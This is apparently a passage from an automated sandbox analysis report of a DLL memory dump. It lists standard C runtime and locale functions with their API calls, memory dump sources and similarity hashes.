0x6dd5d6a2
0x6dd5d6a6
0x6dd5d6f9
0x6dd5d6fa
0x6dd5d700
0x00000000
0x00000000
0x00000000
0x6dd5d6a6
0x6dd5d707

APIs

GetLastError.KERNEL32(6DD175D9,6DD175D9,00000002,6DD52286,6DD5F2B0,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004), ref: 6DD5D688
_free.LIBCMT ref: 6DD5D6BD
_free.LIBCMT ref: 6DD5D6E4
SetLastError.KERNEL32(00000000,?,6DD175D9), ref: 6DD5D6F1
SetLastError.KERNEL32(00000000,?,6DD175D9), ref: 6DD5D6FA

Strings

@eb, xrefs: 6DD5D6D8

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free
String ID: @eb
API String ID: 3170660625-887999300
Opcode ID: c0b871a79ff3069eda11b37ffd99c037930efc9e0097e0aa6ef8b0444fe09428
Instruction ID: cd3d42343c9c9707ce3cff38d0a33b0b16af9e8d0813d27fd2218ef21a4d522a
Opcode Fuzzy Hash: c0b871a79ff3069eda11b37ffd99c037930efc9e0097e0aa6ef8b0444fe09428
Instruction Fuzzy Hash: A4018136189516A7AF0277699C88F6B277A9BD33657220125F91892142FF74882283B4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6621F, Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,6DD4F290,6DD4F290,?,?,?,6DD66470,00000001,00000001,C5E85006), ref: 6DD66279
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,6DD66470,00000001,00000001,C5E85006,?,?,?), ref: 6DD662FF
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,C5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 6DD663F9
__freea.LIBCMT ref: 6DD66406

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

__freea.LIBCMT ref: 6DD6640F
__freea.LIBCMT ref: 6DD66434

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: de954355654a4cba15dd2747fd863a33a9af4505428a0697886212f1503d91e0
Instruction ID: 2508f825489012639cb1c97c8b72cdd72ed52e493cfadb2deb23299262eaf910
Opcode Fuzzy Hash: de954355654a4cba15dd2747fd863a33a9af4505428a0697886212f1503d91e0
Instruction Fuzzy Hash: B551DE72618266EBEB15AFA4CC80FBF77A9EB45754F1242A8FD14D6140EB34EC5086F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD342C8, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6DD33EDB,6DD2FA25,6DD2FD54,?,6DD2FF71,?,00000001,?,?,00000001,?,6DDD27E0,0000000C,6DD3006E), ref: 6DD342D6
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6DD342E4
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6DD342FD
SetLastError.KERNEL32(00000000,6DD2FF71,?,00000001,?,?,00000001,?,6DDD27E0,0000000C,6DD3006E,?,00000001,?), ref: 6DD3434F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ee06b424693c59597d3bfffb6abbd3525d64b648518d62b8e3c70ea420a5fc13
Instruction ID: f22f22b4ff301e18b03b39e108f67a40884d511e4d1efed3ad9f1d3f7e27e9c6
Opcode Fuzzy Hash: ee06b424693c59597d3bfffb6abbd3525d64b648518d62b8e3c70ea420a5fc13
Instruction Fuzzy Hash: FF01243628E3369FBA0837B4AC95B762674EB0737A327033AF224461D4EF1A48108690

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FC89, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1FC90
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FC9A
int.LIBCPMT ref: 6DD1FCB1

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FCEB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FD0B
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FD29

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 5bb5677664c1f757da020c66686e9ff6f5a811131d0836712c37f099e721db44
Instruction ID: e854eaf39a9146a64e5a1e165e3a3a3edd8e70a5f2ef7a041850e1dac8b37e62
Opcode Fuzzy Hash: 5bb5677664c1f757da020c66686e9ff6f5a811131d0836712c37f099e721db44
Instruction Fuzzy Hash: 2E11AC7290822DCBCF01FBA4EC40AFDB775EF85324F264409F610AB290DB749A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F94B, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1F952
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F95C
int.LIBCPMT ref: 6DD1F973

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F9AD
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F9CD
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F9EB

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 8a81371a4fbb1c94058e7ded6c5b9e5ac4fb930f4b9d335dae584f37a4e5b168
Instruction ID: 1dcb0426b6e01a0ae4e2ae13ba8d84d42f50f8e4af777b8dd517c11837ac67fe
Opcode Fuzzy Hash: 8a81371a4fbb1c94058e7ded6c5b9e5ac4fb930f4b9d335dae584f37a4e5b168
Instruction Fuzzy Hash: 9711A07290812DDBCF01FBA4EC50AFDB775EF55314F26400AF614AB290DB7599028BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B93E, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD2B945
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B94F
int.LIBCPMT ref: 6DD2B966

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2B9A0
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B9C0
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B9DE

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 65c51715daa00a41c1497578601be424a46e3d6196d0997265b08390d9954e0f
Instruction ID: bbdc8b985e315f3c5054ce05727015627dc96f007443858c29a00f78395631f6
Opcode Fuzzy Hash: 65c51715daa00a41c1497578601be424a46e3d6196d0997265b08390d9954e0f
Instruction Fuzzy Hash: 6111AC7290852DCBCF01FBA8C850AFDB774AF85728F164109F610AB290DBB49A05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B898, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD2B89F
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B8A9
int.LIBCPMT ref: 6DD2B8C0

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2B8FA
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B91A
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B938

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: e02510c4328dea66ba5a1db0b6644edd6f58dfd06702cec1b10c0b10f9071430
Instruction ID: 4bd3814a7197288ed01ab13c9867c7bd972749fd72eacb98fef5492272d1865a
Opcode Fuzzy Hash: e02510c4328dea66ba5a1db0b6644edd6f58dfd06702cec1b10c0b10f9071430
Instruction Fuzzy Hash: 8B11A07590812DDBCF01FBA4C840AFDB775AF85728F164509F614A72D0DBB59A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F8A5, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1F8AC
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F8B6
int.LIBCPMT ref: 6DD1F8CD

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F907
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F927
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F945

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 5aeac2e50510f19c8e11bae155ce878cd520653d309edce3b6f2c2182cb6f7df
Instruction ID: 55083309f2a32c22dd68ff3575ba33af59e55fbdc94ee35f19d6b54eaaa4b441
Opcode Fuzzy Hash: 5aeac2e50510f19c8e11bae155ce878cd520653d309edce3b6f2c2182cb6f7df
Instruction Fuzzy Hash: 2711A07690812DDBCF01FBA8DC40AFDB775EF85328F164009F610A7291DB749A068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BBD6, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD2BBDD
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BBE7
int.LIBCPMT ref: 6DD2BBFE

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2BC38
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BC58
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BC76

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 80a718f174dd814aafe3f8769c733e9f726a771176f5c97c25737cceeb3486a6
Instruction ID: c2311073964f79519a6f7c64037417244b78cc43185864319041258d95122fcc
Opcode Fuzzy Hash: 80a718f174dd814aafe3f8769c733e9f726a771176f5c97c25737cceeb3486a6
Instruction Fuzzy Hash: 26118C71908129CBCF01FBA8C840AADB775EF85718F264109F611AB291DFB499018BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FBE3, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1FBEA
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FBF4
int.LIBCPMT ref: 6DD1FC0B

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FC45
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FC65
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FC83

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 7ba09dc0170a8eb4e1781ec96cd226bf38a0e22b0e433132d70727924ea54ec5
Instruction ID: e3308e95582982d362904e6c35b4b8772b372269c7030cb4bf0d57709efffcee
Opcode Fuzzy Hash: 7ba09dc0170a8eb4e1781ec96cd226bf38a0e22b0e433132d70727924ea54ec5
Instruction Fuzzy Hash: 5011A07290C129DBCF01FBA4DC80AFDB776EF85324F164109FA10A7290DB759A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BB30, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD2BB37
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BB41
int.LIBCPMT ref: 6DD2BB58

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2BB92
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BBB2
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BBD0

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: aa0f57c60203912a795bdadc8d593b32598dbbe6f70ba52ae15447ced74d9cbb
Instruction ID: f36f5f46d86b1e6fdf4c785997acdd8c291b7c5529d5eecc87d47a091dcf81f1
Opcode Fuzzy Hash: aa0f57c60203912a795bdadc8d593b32598dbbe6f70ba52ae15447ced74d9cbb
Instruction Fuzzy Hash: CC119E72908129CBCF01FFA8CC44AEEB775EF45328F164149F610A7294DBB4AA018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FB3D, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1FB44
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FB4E
int.LIBCPMT ref: 6DD1FB65

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FB9F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FBBF
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FBDD

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: a4a33a284fc45373addcbb67b7866177f5f3e4fdaef4b66a4b42b3b197a4b549
Instruction ID: 046573a8d1730ba6a8dcca93590c0daf546ef297bd805e4f100486b50b887323
Opcode Fuzzy Hash: a4a33a284fc45373addcbb67b7866177f5f3e4fdaef4b66a4b42b3b197a4b549
Instruction Fuzzy Hash: 6711CEB290852D8BCF01FBA4DC50AEEB774EF85324F164449F610A7290DB74AA058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FA97, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1FA9E
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FAA8
int.LIBCPMT ref: 6DD1FABF

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FAF9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FB19
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FB37

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 480ecbc1c47a11c14efa3237bcef813fb1f69519f12606cf9f18d72da54ce91c
Instruction ID: 26fe19e7b9fee7ae20dcc40e0e033d50574de9b5d6c1388c71b65d867bddeb42
Opcode Fuzzy Hash: 480ecbc1c47a11c14efa3237bcef813fb1f69519f12606cf9f18d72da54ce91c
Instruction Fuzzy Hash: 2B119EB690C12D8BCF01FBA4EC50AEEB775EF95314F164009F611A7290EB75AA058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F4C1, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1F4C8
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F4D2
int.LIBCPMT ref: 6DD1F4E9

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F523
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F543
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F561

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 52f79fd7de284c09952d4964a5812725ca9d1cdcc0122bb3e2cbc64f59f4591f
Instruction ID: 89c1e37368e9507aa8a6215c7e7d9780f632fe333c205ebecf9791c8782ea8a7
Opcode Fuzzy Hash: 52f79fd7de284c09952d4964a5812725ca9d1cdcc0122bb3e2cbc64f59f4591f
Instruction Fuzzy Hash: F5118C7290C1299BCF01FBA4DC40AADB775EF85324F260109F614AB291EB759A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F41B, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1F422
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F42C
int.LIBCPMT ref: 6DD1F443

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F47D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F49D
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F4BB

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 93f7888d80c5ba636b95b8a6f9bf62a2523e3bc5e94afd0ae8f1f2fcdb73a802
Instruction ID: 0e56e0d8e4420a6541fc7073b9077dcff61c31c7e4c4b6a3ab127ec5044e42c0
Opcode Fuzzy Hash: 93f7888d80c5ba636b95b8a6f9bf62a2523e3bc5e94afd0ae8f1f2fcdb73a802
Instruction Fuzzy Hash: 3711E072908129DBCF01FBA4DC50AFDB775FF85324F164009F611AB290DB7099058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F7FF, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1F806
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F810
int.LIBCPMT ref: 6DD1F827

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F861
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F881
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F89F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 405cfa6634be9866b939c420863cf04e9a4a33f7f23b9b6bbe42a4777c552818
Instruction ID: ab5210d280a74ee2e3c275655569b605d754fbd7c79cac8d9d369c77962397f7
Opcode Fuzzy Hash: 405cfa6634be9866b939c420863cf04e9a4a33f7f23b9b6bbe42a4777c552818
Instruction Fuzzy Hash: DC11A0B294812DCBCF01FBA4DC40AFDB775EF85724F260109F610A7290DB749A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A1A5, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1A1AC
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A1B6
int.LIBCPMT ref: 6DD1A1CD

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1A207
